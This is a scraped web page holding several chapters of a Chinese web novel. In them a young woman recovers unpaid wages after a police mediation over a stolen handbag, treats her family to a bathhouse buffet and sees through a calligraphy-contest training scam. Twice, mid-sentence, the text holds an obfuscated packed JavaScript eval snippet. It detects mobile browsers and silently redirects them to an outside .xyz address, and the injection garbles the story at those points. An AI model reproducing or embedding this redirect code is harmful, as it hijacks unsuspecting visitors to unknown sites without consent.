民警继续说:“李女士还说,你们在金茂天地3栋1单元1201室同居。2025年1月3日,她跟朋友出去旅游,你独自搬离了你们同居的房子,带走了两大箱行李,里面就藏着这个包。” 孙宇顺瞪大眼,急吼吼地说:“那两箱都是我的东西,我没拿她的包!” “那为什么这个包,现在在你家里,由你老婆背着?” “我这……不是……”孙宇顺结巴了半天,终于编出一个合适的理由:“我给我老婆买的啊!付款记录都在我手机里呢!我找给你看!” 他掏出手机,手忙脚乱地点开支付宝,一路翻找,终于找到那条四万五的支付记录。 “你看看,就是我买的。”他把手机递到民警面前。 民警低下头仔细查看,又从证物袋中取出小票比对,很快发现问题:“这支付记录,跟小票上的日期是同一天啊。所以这个包,就是你送给李女士那个。” 事已至此,孙宇顺不得不和盘托出:“哎哟,不是——我是买了个真包,但是我又买了个同款假包。然后,我把真包送给了老婆,把假包给了这个女的。” 虽然事先已经听过这个版本了,但再次听到当事人亲口说出,常乐还是憋不住笑了。 民警也笑了。 常乐开始推波助澜:“警察同志,你听听看这合理吗?真包给老婆,假包给小三,这根本不符合逻辑嘛。” 她看向孙宇顺,讥讽道:“你要是真的这么爱你老婆,你找什么小三呀?” 民警也觉得荒唐:“你说你送给李女士的是假包,那为什么她会有购物小票和发.票呢?连编码都对得上。这你怎么解释?” “我……这……”孙宇顺彻底哑口无言了。 这时,一直沉默的邹晓琴开口了:“警察同志,我老公记错了,他送我的是假包。喏,就是这只。”她冲桌上的香奈儿包挑了挑下巴,“至于李女士的包去哪儿了,我也不清楚。也许是她拿去卖了吧,毕竟她本来就是出来卖的。这种女人的话,你们也信?” 李玉婷气得脸都白了。 她双手撑在桌面上,怒气冲冲地说:“你说这是假包,那你花了多少钱买的?” 邹晓琴轻蔑地瞟她一眼,转头看向孙宇顺。 孙宇顺不太确定:“三百多吧……” “好,我现在给你三百,你把这只包给我。”李玉婷扬起下巴,盯着邹晓琴,“你敢吗?” 邹晓琴紧抿着唇,沉默不语。 李玉婷讥讽道:“你应该很少背真包吧,所以不知道,香奈儿包包都是有芯片的,去专柜一查,什么购买日期、购买地点都能查得到。你敢去吗?” 邹晓琴脸色阴沉,依旧沉默着,但眼里已经闪现出一丝慌乱。 事情到这里已经很明朗了。 民警清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863760|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了清嗓,目光炯炯地看向孙宇顺,严肃地说:“按照刑法规定,你这种行为已经构成了盗窃罪,而且数额较大,可能会被判处三年以下有期徒刑,并处罚金。但是考虑到你跟李女士之前的关系,我建议你们好好沟通一下,商量出一个赔偿的金额。” 他话音刚落,李玉婷脱口而出:“五万!” 孙宇顺气得猛拍桌子,骂道:“你她妈穷疯了吧?” 李玉婷:“不给你就去坐牢吧!” 接下来又是一场漫长的口水战。 常乐悠闲地靠在椅子上,不打算参战。她今天已经骂了太多脏话,再说下去有损功德。 最终,在民警的监督下,孙宇顺不情不愿地给李玉婷转了四万五。 常乐挽着李玉婷,欢天喜地地走出了调解室。 李玉婷抽出自己的胳膊,朝反方向走去,说:“你等会儿,我去上个厕所。” “我也去。”常乐迫不及待地追上去。 李玉婷走了两步又停下,犹豫着说:“算了,还是先回去吧,我怕待会儿碰到他们。” “行。”常乐重新挽住她的胳膊,把她往外拖,“那我们赶紧出去。” 她拖着李玉婷走出派出所,珍姐和易诚立刻围了上来。 “钱到手了!”常乐兴奋地通知他们,手还紧紧攥着李玉婷的胳膊,另一只手从兜里掏出手机,打开支付宝的收款码,伸到李玉婷面前。 “给钱吧,一万。” 李玉婷眉头一皱,“裁决书里说,我只需要给你八千啊。” “我才不管裁决书怎么说,公司本来就欠我一万。”常乐把手机怼到她面前,催促道:“快点!” 李玉婷不情不愿地掏出手机。 “要不……”她讷讷地说,“我下周再还你们?我刚租了房子,马上要交租金了。” “不行!”珍姐横眉怒目道,“现在!赶紧!打钱!” 李玉婷的反水,早在常乐的预料之中,所以从调解室出来后,她就寸步不离跟着李玉婷,生怕一个没看住,让她给溜了,从此人间蒸发。 钱只有到自己手上,才能真的放心。 常乐凶神恶煞道:“快点!不给钱就别想——” “走”字还没说完,李玉婷猝不及防地向后一仰,整个人重重地跌倒在地上。 所有人都呆住了。 只见孙宇顺一只手拽着李玉婷的头发,另一只手狠命地甩在她的脸上,嘴里还骂骂咧咧:“你个臭表子,敲诈到我头上了!我养了你大半年,你吃我的、用我的、花我的,我没跟你算账就不错了,还敢报警抓我!” “啊啊啊——”李玉婷声嘶力竭地惨叫着。 邹晓琴就站在他身后,双手抱臂,眼神冰冷,睥睨着自己的男人在痛殴另一个女人。 “喂!你干什么!”易诚终于反应过来,大步冲上去,从身后抱住孙宇顺,拼命将他从李玉婷身上拖走。 常乐和珍姐也急忙上前,一个用身体护住李玉婷,另一个冲进派出所,大喊道:“外面有人打架!” 图图也狂吠起来。一时间,场面极其混乱。 民警很快冲出来,大声呵斥道:“干什么你们!都给我松开!” 最后,刚从派出所出来的孙宇顺,又被押送回去,邹晓琴也因为用包殴打民警而被带走。 李玉婷害怕到了极点,瑟缩在常乐身后,怎么劝都不肯再进派出所。 民警叹了口气,“那行吧,你先去医院验个伤,等状态好点再过来,配合我们调查。你放心,打人者已经被我们控制住了,他涉嫌故意伤害,还严重扰乱了公共秩序,轻则拘留,重则判刑。” 李玉婷讷讷地点了点头。 几个人护送她到路边,拦了辆出租车。 李玉婷掏出手机,手指颤抖着打开了支付宝。 她看着常乐,脸色依旧煞白,但眼里多了几分感激。 她哑声说:“我把钱转给你。” 常乐愣了一下,赶紧掏出手机。 转账成功。 接着是珍姐。李玉婷给她转了两万。 “谢谢你们。”李玉婷牵起唇角,勉强笑了下,弯腰钻进了出租车里。 常乐怔怔地看着出租车的尾灯,逐渐消失在十字路口。 “你说,她会回来吗?” “肯定不会。”珍姐语气笃定,“钱已经到手了,她肯定不想再跟老鳖孙有任何瓜葛。” “可是,公司还有一堆烂账呢……” 话未说完,一辆电瓶车疾驰而来,在他们面前刹停。车主摘下头盔,露出一张汗涔涔的脸。 “老刘!”常乐和珍姐同时发出惊呼。这是她们的前同事之一。 老刘见到她们,既兴奋又着急,忙问:“听说老鳖孙被抓了,真的吗?” “对。”珍姐指着身后的派出所,“还在里面关着呢。” 老刘在路边停好电瓶车,火急火燎地冲进了派出所。 常乐有些担忧:“他找老鳖孙有用吗?” “管他呢,都是成年人了,自己的工资自己要。”珍姐挽着常乐的胳膊,大步朝前走去,“咱们去大吃一顿吧!” 51. 51 在某知名连锁火锅店饱餐一顿后,常乐跟珍姐道了别,坐上易诚的车,美美地衣锦还乡。 天色已晚,车内光线昏暗,但完全不耽误她美滋滋地欣赏自己刚做的免费美甲。 车里正放着朴树的歌,常乐觉得不尽兴,换成了《好运来》,还打着节拍,放声唱了起来: “叠个千纸鹤,再叠个千纸鹤,叠个千纸鹤啊,再叠个千纸鹤……” 易诚笑得肩膀一颤一颤的:“我记得歌词好像不是这样的吧?” 常乐跟着节奏一颠一颠的:“今个儿我高兴,想怎么唱怎么唱……打个中国结,再打个中国结……” 后排的图图也跟着叫了起来。一人一狗各唱各的,乱七八糟,热闹非凡。 易诚笑得停不下来,都影响开车了。他放缓车速,试图让这两只生物冷静下来。 “对了,你同事怎么办?他们为什么不跟你们一起申请仲裁?” 常乐安静了一会儿,说:“不知道。一开始大家都挺团结的,有十几个人去提交了资料,但后来,去的人越来越少,有的人嫌麻烦,有的人说仲裁不好,我也不知道怎么不好……” 她说着说着,又唱了起来:“好运来祝你好运来,好运来带来喜和爱……总之,最后只剩下四个人了。” 易诚思索片刻,分析道:“我觉得你们找李玉婷是对的。老鳖孙已经金蝉脱壳了,找他根本没用。说实话,如果不是你想到这一招,李玉婷也很难从他那儿拿到钱,你们就更不用想了。” 常乐嘿嘿一笑,“虽然方法不怎么体面,但目的达到了。” 易诚由衷地赞叹道:“你还真聪明。” “那是。”常乐得意地挑挑眉,“那么多职场剧可不是白看的。” 伴随着喜庆的音乐,她又开始循环了:“叠个千纸鹤,再叠个千纸鹤……” 易诚无奈地笑了。 车子经过收费站,绕过匝道,上了高速。路上车不多,易诚在快车道一路疾驰,一个多小时后,就回到了教师小区。 常乐以最快的速度冲进了家门,迫不及待地跟姥姥和姥爷分享这个喜讯。 姥姥正在拖地,闻言直起腰身,惊喜地问:“多少钱啊?” “一万!” “哎哟哟,真不错。” 姥爷将视线从手机上抬起,摘下老花眼镜擦了擦,问:“没动手吧?” “没有。”常乐拍着胸脯保证,“我可是守法公民。” “那就好。”姥爷又戴上眼镜,“记得请易诚吃个饭,人家开车接送你,忙前忙后的,也出了不少力。” “知道啦!” 常乐说完,又马不停蹄地奔向二楼。 林文娟正在灯下练习书法,听到这个喜讯,也连连点头:“不错不错,钱终于要回来了,你得请我们吃饭。” “没问题!去吃什么?” 林文娟停下毛笔,想了想,说:“好久没吃烤肉了,东街口那家小牛烤肉店还开着吗?” 常乐前几天开车还路过那里,因此十分肯定:“还开着呢,生意好到爆。那明天就吃这家?” 林文娟点点头,用笔指了指洗手间,“跟你爸说一声。” 洗手间里亮着灯,但听不到水声,常乐用脚趾头都能猜到常建民又在生产化肥了。 “爸!”她冲里面嚷嚷道,“一个好消息和一个更好的消息,你想先听哪个?” 常建民语气无奈:“你就不能等我拉完了再说吗?” “谁知道你要拉到什么时候?” “……先说好消息吧。” “哈哈,我要到工资了,一万块!凭借我的聪明才智和勇敢无畏,正义终于战胜了邪恶——” 常建民打断她:“行了行了,那更好的消息呢?” “明天我请大家吃烤肉!” 常建民沉吟片刻,说:“你姥姥肠胃不好,姥爷牙口不好,选个健康点的吧。” 常乐有些为难:“健康点的?总不能吃轻食吧?这不是虐待老人吗?” 林文娟正好经过,听到父女俩的对话,停下脚步,提议道:“我听吴翠说,万达新开了一家自助餐厅,中式西式日式都有,人均149,也不贵。要不去试试那家?” 洗手间里传出常建民的附和:“好啊,就吃这家吧。” 常乐撇了撇嘴。 得,从人均五十,一下子跃升至人均一百五。 -- 晚上,常乐洗漱完,趴在床上,看微信群里的聊天记录。 那个维权群今天格外活跃,常乐才一会儿没看手机,未读信息就攀升至上百条,大家你一言我一语,讨论得相当热烈,就连常年隐身的人也冒出来献言献策。 小周说他已经收到了李玉婷的转账,大家都表示羡慕,并问他是怎么做到的。 老刘说他去派出所打听过了,老鳖孙要被拘留五天,大家都兴奋不已,以为老赖终于落网,这段维权之路终于看到了曙光。 一石激起千层浪,而最初投下那枚石头的常乐,却在群里异常沉默。 该不该告诉大家真相呢? 公司早就更换了法定代表人,老鳖孙也将股权转让了出去,他们只能找李玉婷要钱。而现在,李玉婷手上的钱明显不够大家分。 在一众毫无头绪的讨论中,常乐意外地发现了一条专业的建议,是公司的老员工王姐发的: 【我有个同学是律师,我向他打听过了,按照新《公司法》规定,如果股权转让发生在24年7月1日之后,债权人可以追加原股东为被执行人,前提是能证明他是恶意转让股权。】 下面又开始七嘴八舌地讨论: 【啊?什么意思啊?】 【也就是说,如果李玉婷没钱,我们可以追加老鳖孙为被执行人?】 【但是怎么证明他是恶意转让呢?】 【我也咨询过律师,他说实际操作起来很难。】 常乐挠了挠脑袋,觉得事情越来越难办了。 她发现珍姐也没有说话,想当初,这个群还是她创建的呢。 常乐跟珍姐打了个电话。 珍姐听她说完,沉默片刻,说:“其实,一开始律师也跟我提过这个建议,但我觉得太难了,需要调取公司的银行流水,比对股权的交易记录,查看是否存在抽逃出资……总之,太麻烦了,我一个基层员工根本拿不到这些证据,所以我就死磕李玉婷了。” 常乐越听越头大,同时也庆幸自己走了条野路子,幸运地拿到了钱。 至于其它同事,她也爱莫能助。 “对了,”珍姐又说,“我吃完饭回去拿我的手机,发现直播间被封了,平台说我长时间离开画面,判定我是挂机直播。” “啊?”常乐一愣,“不能申诉吗?” 她记得,直播间在线人数最高峰有两千五百多,还收获了不少打赏。如果珍姐真的能借此走上职业讨薪人的赛道,倒也是个不错的选择。 “没办法。”珍姐苦笑了下,“已经直播那么久了,现在才被封,也算是我运气好。” 常乐替她感到惋惜,但转念一想,如果对面一家发现自己被人偷窥而报警,那珍姐要面临的,就不是直播间被封这么简单的处罚了。 她安慰珍姐:“这个直播间也算是不辱使命,可以功成身退了。” 珍姐:“是啊,反正我们的钱已经到手了。” 两人都哈哈大笑起来。 熄灯后,常乐躺在床上,闭着眼,嘴角止不住地上扬。 真是收获满满的一天呐。 -- 夜里起了风,又下了雨,气温陡降至个位数。早上起床,常乐冻得直打哆嗦,不得不钻进衣柜里,找出压箱底的厚外套穿上。 这鬼迷日眼的天气,完全不按常理出牌。 中午吃饭时,常乐向姥姥姥爷宣布了自己要请客吃饭的特大喜讯。 姥姥姥爷还没表态,林文娟先犹豫了:“要不算了吧,这么冷的天,实在不想出门。” 常乐:“……这不是你提议的吗?” “主要是这种天气吧,没什么地方可以逛,出去吃个饭就得马上回来,何必呢?” 常乐气哼哼地不想说话。 常建民开口道:“要不这样吧,咱们找一家水会。”怕姥姥姥爷听不懂,他解释道:“就是那种洗浴中心,可以泡澡、吃自助、看电影、睡觉的地方,咱们下午先去泡泡澡,晚上吃自助,在那里睡一觉,明天早上再回来,怎么样?” 常乐眼睛一亮,热烈捧场:“好啊好啊。” 她听说青江市新开了几家水会,里面吃喝玩乐一应俱全,她早就想去试试了。 林文娟也积极响应:“行啊,吴翠之前跟我推荐过一家,叫什么水乡的,说里面的环境特别好,好像是249一个人吧。”她掏出手机,“我搜搜看。” 常乐一下子蔫了。 预算从一个人一百五,上涨到两百五。 那五个人,岂不是要花掉她薪水的八分之一?她千辛万苦讨来的薪水啊。 姥姥姥爷商量了一下,也觉得可以一试。 大家意见一致,常乐也不能表现得太抠,只得强颜欢笑道:“好啊,吃完饭就出发。” 两个小时后,一家五口站在这家名为“梦里水乡”的水会大堂里,常乐硬着头皮走向前台。 “你好,五位,两男三女。” 服务员递上五枚手环,示意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869268|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她出示手机二维码:“您好,总共是一千二百五十元。” 常乐忍着心痛付了款。 一人一枚手环,分别从男女宾入口进去。流程倒也简单,先泡澡,再换上水会提供的睡衣进入公共休息室,那里分布着许多躺椅和懒人沙发,可以看书、玩手机、睡觉。 往里走,还有一间影厅,里面摆放着几十张按摩椅。再往里走,有数十间小隔间,里面有电视,有游戏机,还有桌游。 总之,常乐只逛了半个小时,就发现这里极其无聊。 她在角落里找了只懒人沙发,窝在里面,还拿了本书,装模作样地看了起来。 在听她连打了五个哈欠后,林文娟烦不胜烦:“……你书都拿反了。” 常乐索性扔下书,向后一仰,陷在沙发里玩起了手机。 真是搞不懂,难道花钱的意义就是换个地方玩手机吗? 在睡了一觉又一觉后,终于熬到了晚餐时间,一家五口在餐厅门口碰头,抱着必吃回本的心态,雄赳赳气昂昂地踏进了餐厅。 看到琳琅满目的菜肴的这一刻,常乐终于感觉,这钱花得挺值。 螃蟹、鲍鱼、海参、烤榴莲、三文鱼,都是限量供应的,一人一次只能领一份。 其它的,比如牛排、寿司、大虾、扇贝、生蚝、鱿鱼等上百种菜肴,还有各种漂亮的小蛋糕,各种水果切块、各种酒水饮料,都是不限量的,想吃多少拿多少。 五个人占据了一张圆桌,轮番去取菜,不一会儿,桌上就摆得满满当当,姥姥还拼命往上摞装水果和蛋糕的盘子。 “来吧。”常乐举起玻璃杯,模仿那张著名的中老年表情包里的动作,“为我们的亲情干杯。” 五只玻璃杯在空中碰撞在一起,发出愉悦的声响。 放下杯子,正式开吃。 姥姥正埋头苦吃各种中式炒菜,常乐忍不住提醒她:“姥,先吃贵的。” “唔唔。”姥姥放下空盘子,转头拿起一碟烤榴莲,舀了一勺塞进嘴里,立刻嫌弃地皱起眉。 常乐调侃道:“姥,你以前不是不爱吃榴莲吗?你说它有一股臭狗屎味儿。” 姥姥忍着不适,又往嘴里塞了一大勺,闭眼咽了下去。 “现在不臭了。”她长舒一口气,“免费的就是香啊。” 林文娟忍不住笑了:“什么免费的?都包含在门票里了。” 姥姥用筷子夹起一大块牛排,放进嘴里撕咬着,忽然想到什么,转头看向常乐。 “吃不完能打包吗?” 常乐看着她嘴边一圈黑胡椒酱汁,极力憋住笑,说:“当然不行了!” “可惜,我还带了装备呢。”姥姥放下牛排,从兜里掏出两只塑料袋,抖开,每只大得都能塞进去一个西瓜。 一桌人全都震惊了。 林文娟急忙伸手抢走她的塑料袋,团成一团,塞进自己兜里,左看右看,生怕被服务员发现。 “妈,你哪来的塑料袋?” “从家里带的啊。” 常乐又好笑又无奈:“姥,大家要都像你这样,那自助餐厅都该倒闭了。” 姥姥振振有词:“我只是不想浪费粮食。” 林文娟无语地翻白眼:“不想浪费你就少拿点。” 姥爷也低声呵斥道:“家里是穷得揭不开锅吗?出来吃顿饭,你连吃带拿的,像什么话?” 姥姥讪讪地说:“知道了知道了,我把这一桌吃完就不拿了。” 吃了将近两个小时,一家人终于起身离开了餐厅。下楼梯的时候,每个人都保持着相同的姿势——一只手扶着墙,一只手撑着腰,生怕一口气没喘匀,就把那些美味佳肴吐了出来。 之后就是自娱自乐,打发时间。姥爷坐在沙发上玩手机,林文娟和常建民找了个小隔间看电视,常乐和姥姥转了一圈,决定去影厅看电影。 大荧幕上正在播放一部国产喜剧片,常乐半躺在按摩椅里,正边看边笑,忽然,从侧面伸来一只手,往她嘴里塞了个螃蟹。 常乐:“???” 姥姥从睡衣里掏出一只塑料袋,在她眼前晃了晃,语气颇为得意:“我偷偷带了几只。” 常乐瞪着这只装得半满的塑料袋,一脸狐疑:“就几只?” “螃蟹只有四只。”姥姥打开袋子给她看,“还有大虾、鲍鱼、海参,对了,”她又从身后掏出一只袋子,“这里面有蛋糕和水果,晚上饿了可以吃。” 常乐:“……” 饿了?她刚刚可是扶着墙出来的啊,再多吃一口就要吐了。 算了,就当是饭后小零嘴吧。 常乐一边啃着螃蟹的蟹钳,一边说:“姥,请你来算是值回票价了。” 52. 第 52 章 早上六点多,睡得不省人事的常乐被林文娟暴力摇醒。 常乐昨晚吃得太撑,电影还没看完,眼皮就直打架。她匆匆刷了个牙后,就去小隔间找林文娟了。 母女俩挤在不足四平米的榻榻米上,一开始睡得还算安稳。睡到半夜,常乐黏了上来,像树袋熊一样抱住林文娟,胳膊压在她的胸口,大腿搁在她的肚子上。 林文娟被泰山压顶,动弹不得,一整晚都没睡好。 她顶着两只黑眼圈,一脸幽怨地看着常乐,声音嘶哑:“送我去上学。” 常乐挣扎着醒来,恍惚中,仿佛看到了若干年后自己当妈的日常。 她不禁感慨,还是不婚不育好。 常乐和林文娟洗漱完,收拾好包裹,去公共休息区找其他三人。 地板上横七竖八地躺了好多人,鼾声从四面八方传来。她们小心翼翼地跨过一具具胖瘦不一的躯体,终于在角落里找到了姥爷和常建民。 两人都是打地铺睡的。姥爷睡得正酣,常建民已经醒了,正在看手机。 见到母女俩,他有气无力地爬起来,摸到眼镜戴上,可还是挡不住那耷拉下来的眼袋。 常乐:“爸,没睡好啊?” 常建民搓了搓脸,表情很痛苦,“各种打鼾、磨牙、说梦话,还有打电话的、手机外放、小孩哭闹……总之,没有一分钟是安静的。” 常乐同情地“嘶”了一声。 “姥姥呢?”她四处张望。 常建民指着对角线的位置,“鼾声最响的那个就是她。” 常乐又跨过一具具躯体,循着响亮的鼾声,找到了躺在另一个角落里的姥姥。 她睡得四仰八叉的,助听器搁在一旁,完全听不到周围的动静。常乐晃了她半天,才将她摇醒。 等一家五口都洗漱完后,林文娟给他们分配任务:“早饭要八点才开始,我跟建民来不及了,乐宝,你送我们走。爸,妈,你们记得去吃,吃完了自己打车回家。” 常乐攥住姥姥的手,郑重其事地交代:“姥,塑料袋洗洗还能用。” 姥姥回她一个坚定的眼神,“请组织放心,保证完成任务。” -- 还不到七点,一家三口坐上了车。常乐揉了揉肚子,虽然昨晚胡吃海塞的东西还没完全消化,但生物钟提醒她,该吃早饭了。 林文娟和常建民坐在后排,一个瘫在座椅里,死气沉沉,一个倚靠着车窗,奄奄一息。 “早上吃什么啊?”常乐问。 常建民气息微弱:“随便吧,来口热乎的就行。” 林文娟闭着眼,仿佛睡着了,过了好半天,才缓缓开口:“金桂社区有家生煎包不错,我每次路过,都看到门口好多人在排队。” 常乐每次送林文娟去北湖区老年大学,都要穿过金桂社区,那家早餐店永远在大排长龙,勾得她心痒痒的。今天时间充裕,正好可以一试。 “好啊,去那儿吃。” 车子抵达金桂社区时,常乐回头一看,后排的两人已经倒头呼呼大睡了。她没叫醒他们,车窗留了道小缝,下了车就找到那家生煎包店,排在了队伍的末端。 排队的人还挺多,常乐粗略数了下,前面至少有二十人,而店主做一锅要十分钟,平底锅不大,每锅也就三十个,几个锅子轮流做好,排到她估计也就…… 懒得算了。 店主已经从炉子上端起平底锅,走到了队伍前面,给第一个人装盒打包。 队伍骚动起来,但常乐等了好半天,也不见队伍往前挪动一步。 她听到身后的大爷怒气冲冲道:“又是他!” 常乐忍不住回头,好奇地问:“谁啊?” 大爷冲前面抬了抬下巴,“就最前面那个,也不知道是送外卖的,还是黄牛,每次都买一大锅。” “何止啊。”常乐前面的大妈补充道,“我有次排在他后面,亲眼见他买了三锅,装了满满一箱子。谁一大清早点那么多外卖啊?肯定是转手卖了。” 常乐踮起脚尖,越过重重人头,看到第一排小哥的背影——他的确穿着一件亮黄色的外卖服,桌上搁着一个外卖箱,正往里面一盒一盒地放生煎包。他还自备了一个挤酱瓶,打开瓶盖,端起装香辣酱的调料缸,往瓶子里倒了大半瓶。 平底锅已经空了,他还不走,霸占着队伍第一位,任由身后的人指责或谩骂。 常乐烦躁地“啧”了一声。 谁能想到,买个早餐还能碰上黄牛。 这年头,钻空子的人真是无处不在。 等了好半天,眼看着第二锅、第三锅陆续上桌,而那个外卖小哥岿然不动,还一盒一盒地往箱子里塞。 常乐的烦躁已经变成了怨忿,她不停地跺着脚,啧声连连,呼吸声粗如老牛。 一回头,队伍已经排得老长,还拐了个U形的弯。 三锅装完,那个小哥终于合上箱盖,提起箱子走出了队伍。 队伍仍没有挪动。他们还得等第四锅出炉。 他倒是毫无愧意,也毫无惧色,提着外卖箱,沿着长长的队伍往后走。 常乐拧紧眉头,正打算用三分正义三分凶恶四分诅咒的目光谴责他时,忽然发现,哎,这小哥好眼熟啊! “方煦!”她大喊一声。 方煦脚步一顿,东张西望着,很快发现了常乐。 他脸上瞬间绽开了笑容,跟她打招呼:“姐,好巧啊,你也住这儿啊?” “不是啊,我是慕名而来。”常乐垂眸,视线落在他的外卖箱上,话里有话,“听说这家生煎包很火,没想到,都衍生出了代购业务。” 方煦不好意思地笑笑,“我就住这个社区,离得近,所以,嘿嘿……” 常乐视线往上,落在他的衣服上,又问:“你不是回学校了吗?怎么去干外卖了?你哥知道吗?” “我正要去学校呢。”方煦把外卖服拉链拉开,露出里面的校服,“我同学都喜欢吃这家的生煎包,知道我住在这附近,都让我帮忙带饭。” 常乐不禁感慨:“哇,你还真是……乐于助人啊。” 这满满一大箱,是多少人的早饭啊!没想到,他刚回学校,就建立起了这么庞大的人际关系网。 方煦打开外卖箱,提起一个裹着塑料袋的纸碗,说:“姐,你等很久了吧?要不我送你一份?” “别别别,再饿不能饿着学生。”常乐摆摆手,“你赶紧去学校吧。” 方煦犹豫片刻,从箱子里摸出一个用塑料袋装好的卤蛋,递给常乐:“这是我自己卤的,送你一个。” 常乐接过热乎乎的蛋,伸长脖子,向箱子里望去,只见底部有只透明的大密封盒,里面装满了卤蛋。 “这也是给同学带的?收费吗?” “当然啦。”方煦咧嘴一笑,露出大白牙,“一个一块五。鸡蛋的成本是七毛,每次卤五十个,除去水电燃气和卤料的成本,能赚三十块吧。” 常乐:“……这也不多呀。” 方煦得意地说:“还有带饭也要收费呢,一份收一块,能赚三十。” 常乐点点头,也不知该夸还是该劝。 一天赚六十,一个月至少要去学校二十五天,那就是一千五,对高中生来说是够用了。 “行了,你快去吧。”她回过神来,冲方煦挥挥手,“别迟到了。” 已经七点二十了。方煦盖上盒盖,冲她一扬手,拔腿冲向停在路边的自行车。他将外卖箱绑在后座上,双腿狂蹬,黄色外套迎风招展,很快消失在了常乐的视野里。 新的一锅终于做好了。常乐一边剥蛋壳,一边随着队伍往前移动。 唔,这蛋卤得还挺入味,价格也挺划算。 想到这,她三两口吃完卤蛋,掏出手机,翻出方煦的微信,给他转账一点五元,并发了个点赞的表情包。 -- 接下来的一周,全家人的早饭都搞定了。也不知这个小老太太是怎么蒙混过关的,总之,当常乐打开冰箱,看到满满两大袋馒头包子花卷肉饼时,对姥姥佩服得是五体投地。 为了表示感谢,常乐请易诚吃了顿火锅,又莫名其妙被林文娟忽悠了一顿烤肉,还陪她参加了一场书法比赛。 据林文娟称,这个比赛的规格很高,是市电视台举办的,获奖者能接受媒体采访,还有机会参加省级比赛,并接受书法大师的亲自指点。 常乐听到后的第一反应是:市电视台?咱们这个小地方还有电视台?就算曾经有过,现在还存活着吗? 比赛场地设在一所中学的体育馆内,参赛选手来自各行各业,有坐着轮椅的耄耋老人,也有跟桌子一般高的小孩 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这套路,怎么这么熟悉呢? 林文娟一脸兴奋道:“真的吗?评委老师愿意给我写推荐信?” 工作人员点点头,微笑着说:“这样的机会可不多哦。” 不等林文娟同意,常乐插嘴问道:“哪个大师啊?” 工作人员报出一个她闻所未闻的名字。 常乐装作很懂的样子,“哦”了一声,“是他啊……对了,这个培训班怎么收费呢?” “不贵,大师跟我们电视台长期合作,给了个友情价。”工作人员伸出三根手指头,晃了晃,“不到三千。” 常乐:……那就是2999喽。 林文娟已经躁动了,常乐摁住她的肩膀,淡淡一笑道:“我们考虑一下吧。” 工作人员瞪大眼,一脸震惊:“这么好的机会,错过了可就没有了,你确定要放弃吗?” “我没说放弃,只是说考虑。”常乐保持着矜持的笑容,“你留个联系方式,明天给你答复吧。” 工作人员一边扫她的微信,一边叹气道:“连我都看得出来,林女士非常珍惜这次的机会。她很有潜力,获奖的可能性非常大,你忍心让她失望吗?” 常乐收起手机,挽着林文娟的胳膊,转身正要出门,又听见他说:“你妈妈把你养这么大,给你花了多少钱,没有百万也有几十万吧?你现在有能力回报她了,难道连这三千块钱都不愿意出吗?” 常乐缓缓回头,冷冷地瞥着他。 狗东西,跟我玩道德绑架? 老娘就没有道德。 刚走出办公室,林文娟就甩开常乐的胳膊,气恼地说:“才三千块,还考虑什么?又没让你出。” 常乐双手掐腰,冷着脸说:“妈,我问你,那个什么鬼大师,你之前听说过吗?” “……”林文娟犹豫了下,“我的确是最近才知道他的,但这有什么关系?人家就是很厉害啊。” 常乐长叹一口气。 恰在此时,刚刚被她唬过的小男孩从她面前经过,身后跟着他父母。一家三口敲响了办公室的门。 等他们进去后,常乐侧耳贴在门上,试图偷听里面的对话。 同样的开场白,同样的转折,甚至连最后PUA的话术,都换汤不换药:“孩子条件那么好,只需要参加一些专业的培训,就能有质的飞跃。你们作为父母,难道不希望孩子赢在起跑线上吗?” 常乐终于想起来,这套路在哪里见过了。 小某书上遍地都是啊! 她盯着林文娟,缓缓地说:“妈,你听说过童模吗?” 林文娟摇摇头。 常乐尽量用简单直白的语言,把这个骗术跟林文娟介绍一遍。 林文娟听完更糊涂了:“这跟我有什么关系?我又不去走秀。” 常乐扶额苦笑:“妈,你真不愧是姥姥的嫡亲女儿啊。” 母女俩不仅智商相当,脾气也像,又单纯又固执。今天跳这个坑,明天上那个当,一旦上头,八百头牛都拉不回来。 常乐幽幽地叹了口气。 这一天天的,操不完的心,防不完的骗。 53. 53 晚上回到家,常乐迫不及待地把林文娟的遭遇跟大家分享。一家人轮番上阵,晓之以理,动之以情,奈何,林文娟就是不听劝。 “我上的当最多,我最有经验。”姥姥拍着胸脯,振振有词道,“你说你报这个班,能得到什么呢?顶多是获得一个参加比赛的资格。就算你最后得奖了,又能怎么样呢?是能升职加薪,还是能光宗耀祖?” 林文娟不屑一顾道:“俗气!我就不能单纯地为了自我提升吗?” 姥姥气得口不择言:“你都快六十了,还能提升到哪儿去?” “哎,姥姥,这话就不对了。”常乐急忙打断她,“不管多少岁,都不能停止学习进步,这一点我是支持我妈的。只不过——” 她话锋一转,看向林文娟,“我在网上查过了,这种野鸡比赛每年都有一大堆,目的就是为了收培训费、比赛费或者体检费。还有那个什么大师,网上都查不到他的简介,我估计就是个培训班的老师,被拉过来撑场子的。” 林文娟仿佛进入了叛逆期,不管常乐说什么,她都只回一句:“反正我自己出钱,被骗我也认了。你们别管了。” 常乐一时哑口无言。 姥姥不满地嘀咕道:“三千块,干点什么不好?我刚看到一家旅行社的广告,去新马泰玩一圈也才这么多钱!” 常乐一愣,顿时有种不祥的预感:“姥,你该不会是想……” 姥姥摆摆手,“我才没那么大手大脚呢!三千块,够家里一年的电费了。” 